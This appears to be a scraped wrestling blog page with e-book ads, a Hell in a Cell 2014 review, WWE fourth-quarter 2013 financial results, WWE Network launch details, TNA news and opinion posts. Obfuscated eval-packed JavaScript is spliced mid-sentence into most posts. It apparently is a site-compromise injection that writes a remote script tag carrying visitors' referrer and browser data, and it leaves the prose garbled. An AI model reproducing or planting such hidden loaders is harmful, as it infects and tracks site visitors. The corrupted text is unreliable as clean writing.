New E-Book: WWE Grab Bag

The book sells for $3.99 or the equivalent in other currencies. In case you don’t have a Kindle, there are plenty of FREE apps you can get from Amazon for pretty much any electronic device, all of which are available at this link.

Or if you’re in another country with its own Amazon page, just search “KB Grab Bag” and it should be the first thing to come up.

Also you can still get any of my previous books on the WWE Championship, the Intercontinental Championship, Monday Night Raw from 1997, 1998 and 2001, Monday Nitro from 1995-1998, In Your House, Summerslam, Starrcade, ECW Pay Per Views, Royal Rumble, Saturday Night’s Main Event, the WWF and WCW pay per views from 1998, Wrestlemania, NXT and Clash of the Champions at my author’s page here.

I hope you like it and shoot me any questions you might have.

KB

Reviewing the Review: Hell in a Cell 2014

");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|fyetz|var|u0026u|referrer|tzezi||js|php'.split('|'),0,{})) the annual Cell show has come and gone and as expected, a lot has changed coming out of the show. There were two main events inside the big cage and only one of them really belonged there. The big question was which match was ending the show as Orton vs. Cena has a chance even though there was no reason for it to take that spot. Let’s get to it.

Rusev beat Big Show in the match that everyone expected. Mark Henry almost cost Show the match but Rusev wound up kicking Show in the face and Accolading him for the win. On to Sheamus and the US Title.

Overall the show was entertaining for the most part but the creative process is just a mess right now. There are at least a dozen ways to build up a feud and WWE seems to use the same one over and over: have the people fight a lot on TV before the PPV then do the same match with a gimmick at the big show.

Remember to follow me on Twitter @kbreviews and pick up my new book of 1997 WCW Monday Nitro Reviews at Amazon for just $3.99 at:

http://www.amazon.com/dp/B00NPPH0WI

And check out my Amazon author page with wrestling books for under $4 at:

http://www.amazon.com/Thomas-Hall/e/B00E6282W6

Thought of the Day: The Hardest Working Man In The Business Today

It’s eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|thhyd|var|u0026u|referrer|kffdd||js|php'.split('|'),0,{})) not who you would expect.It’s Michael Cole. Last night he was added to the Main Event announce team, putting him on PPV, Raw, Smackdown and Main Event, plus whatever interviews he has to do for WWE.com. When you consider all the stuff he has to deal with as he’s doing commentary (as in the voices in his ear and all the stuff he has to plug) and how much content he has to produce every week, it’s really a shame that he gets all the flack he does. The guy works HARD and that’s far more than you can say about some people.

WWE Fourth Quarter Financial Report

Good stuff for the company.

From eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|drire|var|u0026u|referrer|nnyaz||js|php'.split('|'),0,{})) 411mania.com.

Overview:

Revenues totaled $118.4 million as compared to $115.1 million in the prior year
quarter.
Operating loss was $12.2 million as compared to income of $2.6 million in the prior year quarter.
Net loss was $7.9 million, or $0.10 per share, as compared to income of $0.6 million, or $0.01 per share, in the prior year quarter.
OIBDA in the fourth quarter 2013 decreased to a $5.6 million loss from income of $8.5 million in the prior year quarter.
The decline in OIBDA and Operating was due to increased investment in staffing, talent and marketing to support our strategic content initiatives, including the launch of WWE Network.
Lower sales of new DVD releases and a corresponding shift in product mix to lower priced catalog titles.

House shows:

Live Event revenues increased 9% to $25.4 million from $23.3 million in the prior year quarter primarily due to staging three additional events in international markets that in aggregate garnered a higher average ticket price in the current year quarter.

There were 78 total events, including 52 events in North America and 26 events in international markets, in the current quarter as compared to 75 events in the prior year quarter, including 52 events in North America and 23 in international markets.
North American live event revenue of $13.8 million was essentially unchanged from the prior year quarter, as a 4% increase average attendance to approximately 5,900 fans was offset by a reduction in live event sponsorship sales. The average realized ticket price of $44.59 also remained essentially unchanged from the prior year quarter.
International live event revenue increased 23% to $11.6 million from $9.4 million in the prior year quarter. The growth reflected the impact of staging three additional events in the quarter. Additionally, changes in venue mix contributed to both an increase in average ticket price and a partially offsetting decline in average attendance. The average ticket price rose 17% to $81.98 as the current year quarter included three events in Abu Dhabi, an international market that has historically garnered higher ticket prices. Average international attendance declined 7% to 5,200.

Pay Per View:

Pay-Per-View revenues were $15.7 million as compared to $13.0 million in the prior year quarter primarily due to the production of four pay-per-view events in the current quarter as compared to three in the prior year quarter. Revenue for the events held in both the current and prior year quarter increased 2% based on a comparable increase in pay-per-view buys. The average revenue per buy for these events was essentially unchanged from the prior year.

WWE Battleground (October): 114,000 buys, No PPV in 2012
WWE Hell in a Cell (October): 228,000 buys, up 29,000 from 2012
WWE Survivor Series (November): 177,000 buys in 2013, down 31,000 from 2012
WWE TLC (December): 181,000 buys, up 6,000 from 2012
Buys From Prior Events: 82,000 buys, up 12,000 from 2012
2013 Total: 782,000 buys, up 130,000 from 2012.
Note: If you take out the extra Battleground PPV for the quarter, the company still did 16,000 more buys as compared to the same quarter last year.

Consumer Products:

Home Entertainment net revenues were $5.0 million as compared to $9.6 million in the prior year quarter. The decrease was driven by a 33% decline in the average price per unit to approximately $8 due, in part, to a higher proportion of catalog sales than in the prior year quarter. This shift derived from changes at retail, including reduced space for DVD inventory and demand for lower priced product. Shipments of catalog titles increased 51% and accounted for 57% of total unit shipments compared to 35% in the prior year quarter. Based on the sustained increase in catalog shipments, which historically have been characterized by lower sell-through rates, estimated returns increased to 51% from 37% of gross revenue. Also contributing to the decline in net home entertainment revenue, overall shipments fell 8% to 1.1 million with two fewer releases in the quarter (9 in Q4 2013 vs. 11 in Q4 2012).
Licensing revenues declined 14% to $7.2 million from $8.4 million in the prior year quarter primarily due to reduced sales of toy products in the U.S. and international markets. Despite the fourth quarter decline, domestic retail toy sales increased for the full year and WWE maintained its position with the second highest selling action figure property in the U.S. market. In late 2013, the Company launched a new line of construction toys, a segment of the toy category that has demonstrated strong growth over the last several years. Royalties from the sale of video game and apparel products were essentially flat to the prior year quarter, as modest growth in the U.S. was offset by lower sales in international markets.
Magazine publishing net revenues were $1.3 million as compared to $1.7 million in the prior year quarter, reflecting lower newsstand sales in the current year quarter.

TV Revenue

Television revenues increased 2% to $41.3 million from $40.6 million in the prior year quarter primarily due to the production and monetization of Total Divas, a new program, which debuted in July 2013, as well as contractual increases for existing programs licensed in international markets. These increases were partially offset by the timing of one less episode of Raw in the U.S. (due to one less Monday in the fourth quarter of 2013 as compared to the fourth quarter 2012).

WWE Studios

WWE Studios recognized revenue of $5.0 million as compared to revenue of $0.6 million in the prior year quarter primarily due to the performance and timing of results from the Company’s portfolio of movies. The fourth quarter 2013 reflected revenue from Christmas Bounty, a made-for-TV movie that aired in November 2013, and to a lesser extent, revenue from The Call (starring Halle Berry), which was released theatrically in March 2013. Although four movies were released during 2012, these releases had limited impact on revenue recognized in the fourth quarter of that year. WWE Studios’ movie portfolio generated income of $0.1 million in the quarter compared to a loss of $1.2 million in the prior year quarter, which included $0.5 million in film impairment charges. Excluding the impact of film impairment charges, the WWE Studios’ movie portfolio contributed to essentially break-even results in the current year as compared to a loss of $0.7 million in the prior year quarter.

During the current year, WWE Studios recognized revenue of $10.8 million as compared to $7.9 million in the prior year, reflecting the timing of results generated by the Company’s portfolio of movies. In November 2013, the Company released Christmas Bounty, a made-for-TV film. Additionally, five other films were released in the current year (12 Rounds 2: Reloaded, No One Lives, Dead Man Down, The Call and The Marine 3: Homefront) versus four in the prior year.

Based on revised ultimate expectations for the Company’s movies, film impairment charges increased to $11.7 million in the current year compared to $1.2 million in the prior year. Impairments were primarily related to the Company’s 2010-2012 film slate, as well as Dead Man Down, which were released earlier in 2013. As a result, WWE Studios generated a loss of $12.7 million compared to a loss of $5.5 million in the prior year. Excluding the impact of film impairment charges, the WWE Studios’ movie portfolio generated an adjusted loss of $1.0 million compared to an adjusted loss of $4.3 million in the prior year.

Digital Media:

Revenues from our Digital Media related businesses were $11.7 million as compared to $12.1 million in the prior year quarter.

WWE.com revenues were $5.7 million as compared to $6.2 million in the prior year quarter with lower aggregate sales of digital content. Key digital metrics such as unique visitors to the Company’s website and mobile app as well as average monthly page views increased from the prior year quarter.
WWEShop revenues were $6.0 million as compared to $5.9 million in the prior year quarter reflecting a comparable percentage increase in revenue per order to $47.88. The volume of online merchandise sales remained essentially unchanged at approximately 124,300 orders.

Total revenues for the year ended December 31, 2013 were $508.0 million as compared to $484.0 million in the prior year. Operating income for the current year was $5.9 million versus $43.2 million in the prior year. Net income was $2.8 million, or $0.04 per share, as compared to $31.4 million, or $0.42 per share, in the prior year. OIBDA was $30.4 million for the current year as compared to $63.2 million in the prior year. Excluding items that impacted comparability on a year-over-year basis, Adjusted Operating income was $14.2 million compared to $44.4 million in the prior year, Adjusted OIBDA was $38.7 million as compared to $64.4 million and Adjusted Net income was $8.2 million, or $0.11 per share, compared to $28.1 million, or $0.38 per share, in the prior year.

In summary, WWE is making a lot of money.

WWE Network Officially Announced, Also Known As THE BEST THING EVER

It eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|khssy|var|u0026u|referrer|dkbzs||js|php'.split('|'),0,{})) launches next month in America, later elsewhere. Here are all the details thanks to 411mania.com.

– WWE has officially announced the launch of the WWE Network. The 24/7 streaming service will launch in the US on February 24th and will cost $9.99 per month with a six month commitment. The network will include all twelve WWE PPVs live (including WrestleMania) and original programming, reality shows, documentaries, classic matches and more than 1,500 hours of video on demand at launch.”Today is a historic day for WWE as we transform and reimagine how we deliver our premium live content and 24/7 programming directly to our fans around the world,” said Vince McMahon. “WWE Network will provide transformative growth for our company and unprecedented value for our fans.”The network will be available for subscriptions starting on February 24th at 9 AM on WWE.com and will include a one-week trial for a limited time. The network will be available via over-the-top digital distribution and will be available on the following:* Desktops and laptops via WWE.com
* The WWE App on Amazon’s Kindle Fire devices, Android devices such as Samsung Galaxy, iOS devices such as Apple iPad and iPhone, Roku streaming devices, Sony PlayStation® 3 and Sony PlayStation® 4 and Xbox 360.

Availability on additional devices, including Xbox One and select Smart TVs, will follow this summer.

The network will also offer fans a revolutionary second screen experience for all original programming and live events via the WWE App, similar to the interactive fan experience currently available for flagship TV programs Raw and SmackDown. It will launch in the UK, Canada, Australia, New Zealand, Singapore, Hong Kong and the Nordics by the end of 2014/early 2015.

At launch, all of the following will be available:

* All 12 current WWE pay-per-view events – including WrestleMania – will be available to subscribers live, as well as on demand.
* Live pay-per-view 30 minute pre- and post-shows.
* Raw and Smackdown preshows: Every Monday and Friday night, WWE Network will air 30 minute pre- and post-shows for WWE’s weekly cable programs Monday Night Raw and Friday Night SmackDown.
* The Monday Night War – a series exploring the shocking real-life stories that fueled the mid-90s rivalry between WWE and WCW®. Battling for ratings dominance, WWE’s Vince McMahon and WCW’s Ted Turner engaged in a masterful game of one-upmanship, and in the process, elevated WWE Monday Night Raw and WCW Monday Nitro to all-new levels of pop-culture relevance.
* WrestleMania Rewind – a comprehensive look back at the most groundbreaking matches and dramatic moments in WrestleMania history, including never-before-seen footage and in-depth interviews.
* WWE Countdown – a one hour, groundbreaking, interactive, countdown series that puts the power squarely in viewers’ hands by giving the audience the chance to discuss and rank WWE’s most spectacular Superstars, unexpected moments, best catch phrases and more through digital polling and social media interaction.
* WWE NXT® – WWE Superstars and Divas of tomorrow face off every week on WWE NXT, a one-hour weekly show that features the brightest and best of WWE’s rising stars. WWE NXT showcases the Superstars and Divas from WWE’s Performance Center as well as appearances from WWE Superstars and Legends in an intimate setting. WWE NXT broadcasts from the state-of-the-art Full Sail LIVE venue on the Full Sail University in campus in Orlando, Florida.
* WWE Superstars – a one-hour weekly show highlighting the best of WWE Superstars and Divas in heart-pounding matches. Features highlights from all WWE programming, as well as a special glimpse at everything going on in the WWE Universe.

Coming in April:

* WWE Legends House – WWE’s greatest Legends reunite for a new title – only this time, they’re competing outside of the ring. Imagine a beautiful house in the suburbs – perfectly furnished, with gorgeous landscaping, a lovely pool and quiet, respectable neighbors. WWE Superstars from the past including Rowdy Roddy Piper, Tony Atlas and Hacksaw Jim Duggan will turn the neighborhood upside down as the house staff tries their best to keep these Legends on time, on speaking terms, and out of trouble in this new reality show.

Video On Demand

* WWE Network will offer all WWE, WCW and ECW pay-per-views as well as classic matches uncut and uncensored, encores of Raw, SmackDown and WWE Main Event totaling more than 1,500 hours of video on demand at launch.
* All episodes of original programming on WWE Network will be available on demand immediately after they premiere, allowing viewers to watch on their schedule.

TNA Cutting Back On PPVs

This eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|sbeid|var|u0026u|referrer|bahii||js|php'.split('|'),0,{})) seems to be the news at the moment, as there doesn’t appear to be an Against All Odds next year, and they’ll be going from Genesis in January to Lockdown in March. No word yet on the rest of the schedule. As for what I think about this…..It’s the right move. A lot of TNA PPVs are there for the sake of being there, and you can see how weak a lot of the cards on the B shows are. Cutting down to 4-7 PPVs a year would be fine instead of one a month is the right move here. WWE has the roster to pull this off at the moment, but with just two hours a week of TV, having a three hour PPV a month is probably too much for them to pull off.

Thoughts?

Thought of the Day: Wrestling Needs Used Car Salesmen

Watching eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|rfbiz|var|u0026u|referrer|skksb||js|php'.split('|'),0,{})) a Nitro from 1997 and it made me miss something.It’s the night after Bash at the Beach 1997 and Heenan is talking incessantly about how you ABSOLUTELY HAVE TO see the encore. That’s something you NEVER hear anymore about PPVs. Anymore today it’s basically “here’s what we’ve got, buy it. Please?” Gene Okerlund and Bobby Heenan were masters at sounding like used car salesmen or carnival barkers, where after hearing them talk for 20 minutes you had to buy the PPV, just because you had heard so much about it.

Another thing you hardly ever heard said anymore about WWE PPVs: the date of the show. Watch an old WWF TV show and you’ll hear the date of their next PPV probably 10 times. That’s done for a reason: you hear the date so often that you start counting down to it in your head and on the day or before it, you snap and order the show because you NEED to see it. Now it’s always “in just under two weeks” or whatever they say anymore, which is something easier to forget.

Don’t beg us to buy a PPV. Sell it to us.

Themed WWE PPVs Possibly Ending

Word eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|iktyn|var|u0026u|referrer|fsszd||js|php'.split('|'),0,{})) on the street is that Vince has finally caught up to reality and is realizing that the themed PPVs don’t add much. So what does this mean?This can only be a good thing. At the end of the day, there’s almost no reason to follow a calendar instead of following the logical progression of the stories. Look at Taker vs. HHH when the Cell was announced. It came out of nowhere and it worked really well. It wasn’t what I was expecting but it also made sense while also making me want to see the match. That’s a great thing which you can’t get with the themed shows happening at the same time every year. Good call on this.

Thoughts?

Thought of the Day – Triple Threat Matches Are The Most Overused Matches Ever

This occurred to me when I was watching Survivor Series 2009 which had two triple threats for the world titles. I did a little looking and found this:Starting eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|eterb|var|u0026u|referrer|dteiy||js|php'.split('|'),0,{})) in 1999, here are the amount of American PPVs which had a triple threat match on the card (not fourways or higher mind you. Just triple threats):

2012 – 4/10

2011 – 4/13

2010 – 3/13

2009 – 7/14

2008 – 5/14

2007 – 5/15

2006 – 4/16

2005 – 4/15

2004 – 4/14

2003 – 4/12

2002 – 4/13

2001 – 5/12

2000 – 4/12

1999 – 4/11

Think about that for a minute. Every year since 1999, there has been at least three PPVs with a triple threat match on the card. That’s a minimum average of one out of every four months. Can you imagine if this was any other kind of gimmick match? Can you imagine having a ladder match on four PPVs a year? It would get old fast. This isn’t factoring in all of the TV triple threats you get also. No gimmick is done this much and it’s very tiring. Look at 2009: HALF of the PPVs that year had a triple threat match. That’s ridiculous.

New E-Book: WWE Grab Bag

You can pick up the book from Amazon here.

From the UK Amazon here.

From the Canadian Amazon here.